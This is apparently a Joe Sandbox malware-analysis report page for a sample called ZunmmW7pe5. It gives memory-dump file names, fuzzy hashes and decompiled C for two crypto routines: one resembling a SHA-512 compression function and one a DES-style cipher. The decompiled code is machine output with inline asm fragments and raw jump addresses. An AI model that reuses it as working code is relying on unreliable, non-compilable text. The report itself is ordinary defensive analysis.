Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5920c4986aca13840ea1b465d0a6f36cb9b9d0bb8c97e38e39e9bc15fd9ea3bc
Instruction ID: 81e2241eeec20c0bc2390bf867a6bb2afbfdc26d5180af111ee022bb6a55e7c4
Opcode Fuzzy Hash: 5920c4986aca13840ea1b465d0a6f36cb9b9d0bb8c97e38e39e9bc15fd9ea3bc
Instruction Fuzzy Hash: 701204737241F48FE345CB6DA8148BE7FA8F74538A7865219DB8697B40CB38E521CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371D120 Relevance: .4, Instructions: 399
COMMONCrypto

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF7E371D120(long long __rbx, signed int __rcx, void* __rdx, signed int __r8, signed int __r9, long long _a8, void* _a24, long long _a32) {
				void* _t103;
				signed long long _t110;
				void* _t261;
				void* _t268;
				void* _t275;
				void* _t282;
				void* _t289;
				void* _t296;
				void* _t303;
				void* _t310;
				signed long long _t311;
				signed long long _t312;
				signed long long _t318;
				signed long long _t319;
				signed long long _t324;
				void* _t325;
				intOrPtr* _t326;
				signed long long _t349;
				signed long long _t354;
				signed long long _t355;
				signed int* _t357;
				signed long long _t364;
				signed long long _t365;
				signed long long _t371;
				signed long long _t376;
				signed long long _t378;
				signed long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed long long _t386;
				signed long long _t391;
				signed long long _t393;
				signed long long _t398;

				_a8 = __rbx;
				_t326 = _t325 - 0x280;
				_t311 =  *((intOrPtr*)(__rcx + 0x10));
				_t318 =  *((intOrPtr*)(__rcx + 0x18));
				_t385 =  *((intOrPtr*)(__rcx + 0x20));
				r9d = 0;
				_t371 =  *((intOrPtr*)(__rcx + 0x30));
				_t378 =  *((intOrPtr*)(__rcx + 0x38));
				_a24 =  *((intOrPtr*)(__rcx + 0x40));
				_a32 =  *((intOrPtr*)(__rcx + 0x48));
				r9d = r9d + 1;
				r8d =  *(__r9 * 8 + __rdx) & 0x000000ff;
				 *(_t326 - __rdx + __rdx + 0xa - 0xa) = ((((((__r8 << 0x00000008 | __rcx) << 0x00000008 | __rcx) << 0x00000008 | __rcx) << 0x00000008 | __rcx) << 0x00000008 | __rcx) << 0x00000008 | __rcx) << 0x00000008 | __rcx;
				if (r9d - 0x10 < 0) goto 0xe371d180;
				_t110 = r9d;
				_t103 = _t110 - 0x50;
				if (_t103 >= 0) goto 0xe371d25f;
				r11d = 0x50;
				_t357 = _t326 + _t110 * 8 - 0x10;
				asm("o16 nop [eax+eax]");
				_t214 =  *(_t357 - 0x68);
				_t253 =  *_t357;
				_t358 =  &(_t357[2]);
				asm("dec ecx");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t358[2] = ( *(_t357 - 0x68) ^  *(_t357 - 0x68) ^ _t214 >> 0x00000007) + ( *_t357 ^  *_t357 ^ _t253 >> 0x00000006) +  *((intOrPtr*)( &(_t357[2]) - 0x78)) +  *((intOrPtr*)( &(_t357[2]) - 0x30));
				if (_t103 != 0) goto 0xe371d210;
				_t349 = _a24;
				asm("o16 nop [eax+eax]");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t261 = (_t371 ^ _t371 ^ _t371) + ((_t378 ^ _t349) & _t371 ^ _t349) +  *0x7FF7E37557D0 +  *_t326 + _a32;
				_t393 =  *((intOrPtr*)(__rcx + 0x28)) + _t261;
				asm("dec eax");
				asm("dec eax");
				_t364 = ((_t318 | _t311) & _t385 | _t318 & _t311) + _t261 + (_t311 ^ _t311 ^ _t311);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t268 = (_t393 ^ _t393 ^ _t393) + ((_t378 ^ _t371) & _t393 ^ _t378) +  *0x7FF7E37557D8 +  *((intOrPtr*)(_t326 + 8)) + _t349;
				_t386 = _t385 + _t268;
				asm("dec eax");
				asm("dec eax");
				_t354 = ((_t311 | _t364) & _t318 | _t311 & _t364) + _t268 + (_t364 ^ _t364 ^ _t364);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t275 = (_t386 ^ _t386 ^ _t386) + ((_t393 ^ _t371) & _t386 ^ _t371) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t378;
				_t319 = _t318 + _t275;
				asm("dec eax");
				asm("dec eax");
				_t383 = ((_t364 | _t354) & _t311 | _t364 & _t354) + _t275 + (_t354 ^ _t354 ^ _t354);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t282 = (_t319 ^ _t319 ^ _t319) + ((_t386 ^ _t393) & _t319 ^ _t393) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t371;
				_t312 = _t311 + _t282;
				asm("dec eax");
				asm("dec eax");
				_t376 = ((_t383 | _t354) & _t364 | _t383 & _t354) + _t282 + (_t383 ^ _t383 ^ _t383);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t289 = (_t312 ^ _t312 ^ _t312) + ((_t386 ^ _t319) & _t312 ^ _t386) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t393;
				_t365 = _t364 + _t289;
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t398 = ((_t383 | _t376) & _t354 | _t383 & _t376) + _t289 + (_t376 ^ _t376 ^ _t376);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t296 = (_t365 ^ _t365 ^ _t365) + ((_t319 ^ _t312) & _t365 ^ _t319) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t386;
				_t355 = _t354 + _t296;
				asm("dec eax");
				asm("dec eax");
				_t391 = ((_t398 | _t376) & _t383 | _t398 & _t376) + _t296 + (_t398 ^ _t398 ^ _t398);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t303 = (_t355 ^ _t355 ^ _t355) + ((_t312 ^ _t365) & _t355 ^ _t312) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t319;
				asm("dec eax");
				_t384 = _t383 + _t303;
				asm("dec eax");
				_t324 = ((_t391 | _t398) & _t376 | _t391 & _t398) + _t303 + (_t391 ^ _t391 ^ _t391);
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				_t310 = (_t384 ^ _t384 ^ _t384) + ((_t365 ^ _t355) & _t384 ^ _t365) +  *((intOrPtr*)(0x7ff7e37557d8)) +  *((intOrPtr*)(_t326 + 8)) + _t312;
				asm("dec eax");
				asm("dec eax");
				asm("dec eax");
				if (8 - 0x50 < 0) goto 0xe371d280;
				 *((intOrPtr*)(__rcx + 0x10)) =  *((intOrPtr*)(__rcx + 0x10)) + ((_t391 | _t324) & _t398 | _t391 & _t324) + _t310 + (_t324 ^ _t324 ^ _t324);
				 *((intOrPtr*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + _t324;
				 *((intOrPtr*)(__rcx + 0x20)) =  *((intOrPtr*)(__rcx + 0x20)) + _t391;
				 *((intOrPtr*)(__rcx + 0x28)) =  *((intOrPtr*)(__rcx + 0x28)) + _t398;
				 *((intOrPtr*)(__rcx + 0x30)) =  *((intOrPtr*)(__rcx + 0x30)) + _t376 + _t310;
				 *((intOrPtr*)(__rcx + 0x38)) =  *((intOrPtr*)(__rcx + 0x38)) + _t384;
				 *((intOrPtr*)(__rcx + 0x40)) =  *((intOrPtr*)(__rcx + 0x40)) + _t355;
				 *((intOrPtr*)(__rcx + 0x48)) =  *((intOrPtr*)(__rcx + 0x48)) + _t365;
				return 0;
			}

0x7ff7e371d120
0x7ff7e371d130
0x7ff7e371d13f
0x7ff7e371d145
0x7ff7e371d14c
0x7ff7e371d157
0x7ff7e371d15a
0x7ff7e371d161
0x7ff7e371d165
0x7ff7e371d171
0x7ff7e371d188
0x7ff7e371d196
0x7ff7e371d1e4
0x7ff7e371d1ed
0x7ff7e371d1ef
0x7ff7e371d1f2
0x7ff7e371d1f6
0x7ff7e371d1f8
0x7ff7e371d1fe
0x7ff7e371d206
0x7ff7e371d210
0x7ff7e371d214
0x7ff7e371d217
0x7ff7e371d221
0x7ff7e371d229
0x7ff7e371d235
0x7ff7e371d240
0x7ff7e371d255
0x7ff7e371d25d
0x7ff7e371d25f
0x7ff7e371d276
0x7ff7e371d286
0x7ff7e371d297
0x7ff7e371d2a1
0x7ff7e371d2c5
0x7ff7e371d2c9
0x7ff7e371d2cc
0x7ff7e371d2cf
0x7ff7e371d2df
0x7ff7e371d2f9
0x7ff7e371d2fc
0x7ff7e371d310
0x7ff7e371d31a
0x7ff7e371d33e
0x7ff7e371d342
0x7ff7e371d345
0x7ff7e371d348
0x7ff7e371d358
0x7ff7e371d372
0x7ff7e371d375
0x7ff7e371d387
0x7ff7e371d391
0x7ff7e371d3b7
0x7ff7e371d3bb
0x7ff7e371d3be
0x7ff7e371d3c1
0x7ff7e371d3d1
0x7ff7e371d3eb
0x7ff7e371d3ee
0x7ff7e371d402
0x7ff7e371d40c
0x7ff7e371d430
0x7ff7e371d434
0x7ff7e371d437
0x7ff7e371d43a
0x7ff7e371d44a
0x7ff7e371d464
0x7ff7e371d467
0x7ff7e371d479
0x7ff7e371d483
0x7ff7e371d4a1
0x7ff7e371d4a4
0x7ff7e371d4af
0x7ff7e371d4bc
0x7ff7e371d4c6
0x7ff7e371d4dd
0x7ff7e371d4e0
0x7ff7e371d4f4
0x7ff7e371d4fe
0x7ff7e371d522
0x7ff7e371d526
0x7ff7e371d529
0x7ff7e371d52c
0x7ff7e371d53c
0x7ff7e371d556
0x7ff7e371d559
0x7ff7e371d56b
0x7ff7e371d575
0x7ff7e371d599
0x7ff7e371d59d
0x7ff7e371d5a0
0x7ff7e371d5a4
0x7ff7e371d5ad
0x7ff7e371d5cc
0x7ff7e371d5d2
0x7ff7e371d5e6
0x7ff7e371d5f0
0x7ff7e371d614
0x7ff7e371d617
0x7ff7e371d61b
0x7ff7e371d62e
0x7ff7e371d64b
0x7ff7e371d651
0x7ff7e371d655
0x7ff7e371d659
0x7ff7e371d65d
0x7ff7e371d661
0x7ff7e371d665
0x7ff7e371d669
0x7ff7e371d66d
0x7ff7e371d68d

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a97238050ee0bdcfcec9d5e15cc3e2652ad9e0d24c27bab24c83463880ee6e
Instruction ID: 988d47d07e616507a107563336734fa6eef27cc8e7ca9192f3807329c0aa42b9
Opcode Fuzzy Hash: c3a97238050ee0bdcfcec9d5e15cc3e2652ad9e0d24c27bab24c83463880ee6e
Instruction Fuzzy Hash: 2FC137E3B21B5846ED80CB5EA8687AA63D1F758FC4F90A52ACD4D57715ED3CE252C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3736340 Relevance: .3, Instructions: 344
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF7E3736340(void* __eflags, signed int __rax, long long __rbx, unsigned int __rcx, unsigned int __rdx, long long __rdi, long long __rsi, char* __r8, signed int __r9, signed int __r10) {
				signed int _t189;
				signed int _t202;
				signed int _t204;
				signed int _t205;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				unsigned int _t213;
				signed int _t221;
				signed int _t292;
				signed int _t305;
				signed int _t325;
				signed int* _t334;
				signed int* _t335;
				signed int* _t336;
				unsigned long long _t339;
				unsigned long long _t340;
				unsigned long long _t341;
				unsigned long long _t342;
				unsigned long long _t343;
				unsigned long long _t344;
				unsigned long long _t345;
				unsigned long long _t346;
				unsigned long long _t347;
				unsigned long long _t348;
				unsigned long long _t349;
				unsigned long long _t350;
				unsigned long long _t351;
				unsigned long long _t352;
				unsigned long long _t353;
				unsigned long long _t354;
				unsigned long long _t355;
				unsigned long long _t356;
				unsigned long long _t357;
				unsigned long long _t358;
				unsigned long long _t359;
				unsigned long long _t360;
				unsigned long long _t361;
				unsigned long long _t362;
				unsigned long long _t363;
				unsigned long long _t364;
				unsigned long long _t365;
				unsigned long long _t366;
				unsigned long long _t367;
				signed long long _t368;
				unsigned long long _t370;
				unsigned long long _t371;
				unsigned long long _t372;
				unsigned long long _t373;
				unsigned long long _t374;
				long long _t384;
				void* _t387;

				 *((long long*)(_t387 + 8)) = __rbx;
				 *((long long*)(_t387 + 0x10)) = _t384;
				 *((long long*)(_t387 + 0x18)) = __rsi;
				 *((long long*)(_t387 + 0x20)) = __rdi;
				r9d =  *__rdx & 0x000000ff;
				r8d =  *(__rdx + 4) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 1) & 0x000000ff;
				r8d = r8d << 8;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 2) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 3) & 0x000000ff;
				r8d = r8d |  *(__rdx + 5) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 6) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 7) & 0x000000ff;
				_t189 = (r9d >> 0x00000004 ^ r8d) & 0x0f0f0f0f;
				r8d = r8d ^ _t189;
				r9d = r9d ^ _t189 << 0x00000004;
				_t221 = (r9d >> 0x00000010 ^ r8d) & 0x0000ffff;
				r8d = r8d ^ _t221;
				r9d = r9d ^ _t221 << 0x00000010;
				r9d = r9d ^ (r8d >> 0x00000002 ^ r9d) & 0x33333333;
				r8d = r8d ^ __rax * 0x00000004;
				_t202 = (r8d >> 0x00000008 ^ r9d) & 0x00ff00ff;
				r9d = r9d ^ _t202;
				_t204 = _t202 << 0x00000008 ^ r8d;
				asm("rol eax, 1");
				r11d = _t204;
				r11d = r11d ^ r9d;
				r11d = r11d & 0xaaaaaaaa;
				_t205 = _t204 ^ r11d;
				r11d = r11d ^ r9d;
				asm("inc ecx");
				r9d = _t205;
				asm("inc ecx");
				r9d = r9d ^  *(__rcx + 4);
				r10d =  *__rcx ^ _t205;
				_t339 = __rcx >> 0x10;
				_t370 = __rdx >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x489c0 + _t370 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t339 * 4);
				_t340 = _t339 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t340 * 4);
				_t341 = _t340 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x488c0 + _t341 * 4);
				_t342 = _t341 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t342 * 4);
				_t343 = _t342 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t343 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r10d =  *(__rcx + 8);
				r11d = r11d ^ r8d;
				r10d = r10d ^ r11d;
				asm("ror ecx, 0x4");
				_t334 = __rcx + 0x10;
				r9d = r11d ^  *(__rcx + 0xc);
				_t344 = _t343 >> 0x10;
				_t371 = _t370 >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + _t371 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t344 * 4);
				_t345 = _t344 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t345 * 4);
				_t346 = _t345 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t346 * 4);
				_t347 = _t346 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t347 * 4);
				_t348 = _t347 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t348 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				if (__eflags != 0) goto 0xe3736430;
				r10d =  *_t334;
				asm("ror ecx, 0x4");
				r10d = r10d ^ r11d;
				r9d = r11d ^ _t334[1];
				_t349 = _t348 >> 0x10;
				_t372 = _t371 >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + _t372 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t349 * 4);
				_t350 = _t349 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t350 * 4);
				_t351 = _t350 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t351 * 4);
				_t352 = _t351 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t352 * 4);
				_t353 = _t352 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t353 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				r10d = _t334[2];
				_t207 = _t205 ^ r8d ^ r8d;
				r10d = r10d ^ _t207;
				asm("ror ecx, 0x4");
				_t335 =  &(_t334[4]);
				r9d = _t207 ^ _t334[3];
				_t354 = _t353 >> 0x10;
				_t373 = _t372 >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + _t373 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t354 * 4);
				_t355 = _t354 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t355 * 4);
				_t356 = _t355 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t356 * 4);
				_t357 = _t356 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t357 * 4);
				_t358 = _t357 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t358 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				r11d = r11d ^ r8d;
				if (__eflags != 0) goto 0xe3736570;
				r10d =  *_t335;
				_t336 =  &(_t335[4]);
				r10d = r10d ^ _t207;
				asm("ror ecx, 0x4");
				r9d = _t207 ^  *(_t336 - 0xc);
				_t359 = _t358 >> 0x10;
				_t374 = _t373 >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + _t374 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t359 * 4);
				_t360 = _t359 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t360 * 4);
				_t361 = _t360 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t361 * 4);
				_t362 = _t361 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t362 * 4);
				_t363 = _t362 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t363 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				r10d =  *(_t336 - 8);
				r11d = r11d ^ r8d;
				r10d = r10d ^ r11d;
				asm("ror ecx, 0x4");
				r9d = r11d ^  *(_t336 - 4);
				_t364 = _t363 >> 0x10;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + (_t374 >> 0x18) * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t364 * 4);
				_t365 = _t364 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t365 * 4);
				_t366 = _t365 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t366 * 4);
				_t367 = _t366 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t367 * 4);
				_t368 = _t367 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t368 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				_t208 = _t207 ^ r8d;
				if (__eflags != 0) goto 0xe37366b0;
				asm("ror eax, 1");
				r8d = _t208;
				r8d = r8d ^ r11d;
				r8d = r8d & 0xaaaaaaaa;
				_t209 = _t208 ^ r8d;
				r8d = r8d ^ r11d;
				asm("inc ecx");
				_t292 = (r8d >> 0x00000008 ^ _t209) & 0x00ff00ff;
				r8d = r8d ^ _t292 << 0x00000008;
				_t211 = _t209 ^ _t292 ^ (r8d >> 0x00000002 ^ _t209 ^ _t292) & 0x33333333;
				r8d = r8d ^ _t368 * 0x00000004;
				_t325 = (_t211 >> 0x00000010 ^ r8d) & 0x0000ffff;
				r8d = r8d ^ _t325;
				_t212 = _t211 ^ _t325 << 0x00000010;
				_t305 = (_t212 >> 0x00000004 ^ r8d) & 0x0f0f0f0f;
				r8d = r8d ^ _t305;
				_t213 = _t212 ^ _t305 << 0x00000004;
				 *((intOrPtr*)(__r8 + 7)) = r8b;
				 *(__r8 + 3) = _t213;
				 *__r8 = _t213 >> 0x18;
				 *((char*)(__r8 + 1)) = _t213 >> 0x10;
				 *((char*)(__r8 + 4)) = r8d >> 0x18;
				 *((char*)(__r8 + 5)) = r8d >> 0x10;
				 *((char*)(__r8 + 6)) = r8d >> 8;
				 *((char*)(__r8 + 2)) = _t213 >> 8;
				return 0;
			}

0x7ff7e3736340
0x7ff7e3736345
0x7ff7e373634a
0x7ff7e373634f
0x7ff7e3736361
0x7ff7e3736368
0x7ff7e3736370
0x7ff7e3736379
0x7ff7e373637c
0x7ff7e3736386
0x7ff7e373638a
0x7ff7e3736391
0x7ff7e3736395
0x7ff7e373639c
0x7ff7e37363a3
0x7ff7e37363a7
0x7ff7e37363ae
0x7ff7e37363b2
0x7ff7e37363be
0x7ff7e37363c3
0x7ff7e37363c9
0x7ff7e37363d5
0x7ff7e37363d8
0x7ff7e37363de
0x7ff7e37363ef
0x7ff7e37363f9
0x7ff7e3736405
0x7ff7e373640a
0x7ff7e3736410
0x7ff7e3736413
0x7ff7e3736415
0x7ff7e3736418
0x7ff7e373641b
0x7ff7e3736422
0x7ff7e3736425
0x7ff7e3736428
0x7ff7e3736432
0x7ff7e3736437
0x7ff7e373643b
0x7ff7e373643f
0x7ff7e3736444
0x7ff7e373644b
0x7ff7e3736452
0x7ff7e373645a
0x7ff7e3736465
0x7ff7e3736469
0x7ff7e3736470
0x7ff7e373647b
0x7ff7e3736482
0x7ff7e373648d
0x7ff7e3736494
0x7ff7e373649f
0x7ff7e37364a3
0x7ff7e37364aa
0x7ff7e37364b2
0x7ff7e37364ba
0x7ff7e37364c2
0x7ff7e37364c6
0x7ff7e37364c9
0x7ff7e37364cf
0x7ff7e37364d5
0x7ff7e37364d9
0x7ff7e37364de
0x7ff7e37364e5
0x7ff7e37364ec
0x7ff7e37364f4
0x7ff7e37364ff
0x7ff7e3736503
0x7ff7e373650a
0x7ff7e3736515
0x7ff7e373651c
0x7ff7e3736527
0x7ff7e373652e
0x7ff7e3736539
0x7ff7e373653d
0x7ff7e3736544
0x7ff7e373654c
0x7ff7e3736554
0x7ff7e3736563
0x7ff7e3736570
0x7ff7e3736576
0x7ff7e3736579
0x7ff7e373657f
0x7ff7e3736584
0x7ff7e373658b
0x7ff7e3736592
0x7ff7e373659a
0x7ff7e37365a5
0x7ff7e37365a9
0x7ff7e37365b0
0x7ff7e37365bb
0x7ff7e37365c2
0x7ff7e37365cd
0x7ff7e37365d4
0x7ff7e37365df
0x7ff7e37365e3
0x7ff7e37365ea
0x7ff7e37365f2
0x7ff7e37365fa
0x7ff7e3736602
0x7ff7e3736606
0x7ff7e3736609
0x7ff7e373660e
0x7ff7e3736614
0x7ff7e3736618
0x7ff7e373661d
0x7ff7e3736624
0x7ff7e373662b
0x7ff7e3736633
0x7ff7e373663e
0x7ff7e3736642
0x7ff7e3736649
0x7ff7e3736654
0x7ff7e373665b
0x7ff7e3736666
0x7ff7e373666d
0x7ff7e3736678
0x7ff7e373667c
0x7ff7e3736683
0x7ff7e373668b
0x7ff7e3736693
0x7ff7e373669b
0x7ff7e37366a2
0x7ff7e37366b0
0x7ff7e37366b3
0x7ff7e37366b7
0x7ff7e37366bc
0x7ff7e37366c2
0x7ff7e37366c7
0x7ff7e37366ce
0x7ff7e37366d5
0x7ff7e37366dd
0x7ff7e37366e8
0x7ff7e37366ec
0x7ff7e37366f3
0x7ff7e37366fe
0x7ff7e3736705
0x7ff7e3736710
0x7ff7e3736717
0x7ff7e3736722
0x7ff7e3736726
0x7ff7e373672d
0x7ff7e3736735
0x7ff7e373673d
0x7ff7e3736745
0x7ff7e3736749
0x7ff7e373674c
0x7ff7e3736752
0x7ff7e3736758
0x7ff7e373675d
0x7ff7e373676b
0x7ff7e3736773
0x7ff7e373677e
0x7ff7e3736782
0x7ff7e3736789
0x7ff7e3736794
0x7ff7e373679b
0x7ff7e37367a6
0x7ff7e37367ad
0x7ff7e37367b8
0x7ff7e37367bc
0x7ff7e37367c3
0x7ff7e37367cb
0x7ff7e37367d3
0x7ff7e37367db
0x7ff7e37367e2
0x7ff7e37367f7
0x7ff7e37367f9
0x7ff7e37367fc
0x7ff7e37367ff
0x7ff7e3736806
0x7ff7e3736809
0x7ff7e373680c
0x7ff7e3736817
0x7ff7e3736822
0x7ff7e3736833
0x7ff7e373683c
0x7ff7e3736847
0x7ff7e373684a
0x7ff7e3736850
0x7ff7e373685a
0x7ff7e3736860
0x7ff7e3736866
0x7ff7e3736868
0x7ff7e373686e
0x7ff7e3736874
0x7ff7e373687b
0x7ff7e3736889
0x7ff7e3736892
0x7ff7e373689b
0x7ff7e37368a0
0x7ff7e37368aa

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74497f6d675bac7df7fa384cd61f8759f1090360c8c6c80e2d52242694c609bb
Instruction ID: b5738f08cee4a3e22f1721a008b8152538968feb793e71cab1b1f9e496177803
Opcode Fuzzy Hash: 74497f6d675bac7df7fa384cd61f8759f1090360c8c6c80e2d52242694c609bb
Instruction Fuzzy Hash: 2BD1E1B37340A04BE36DE639A834E3D37A1F35974C745A51DEF0387E85DE29A9018B48

Uniqueness

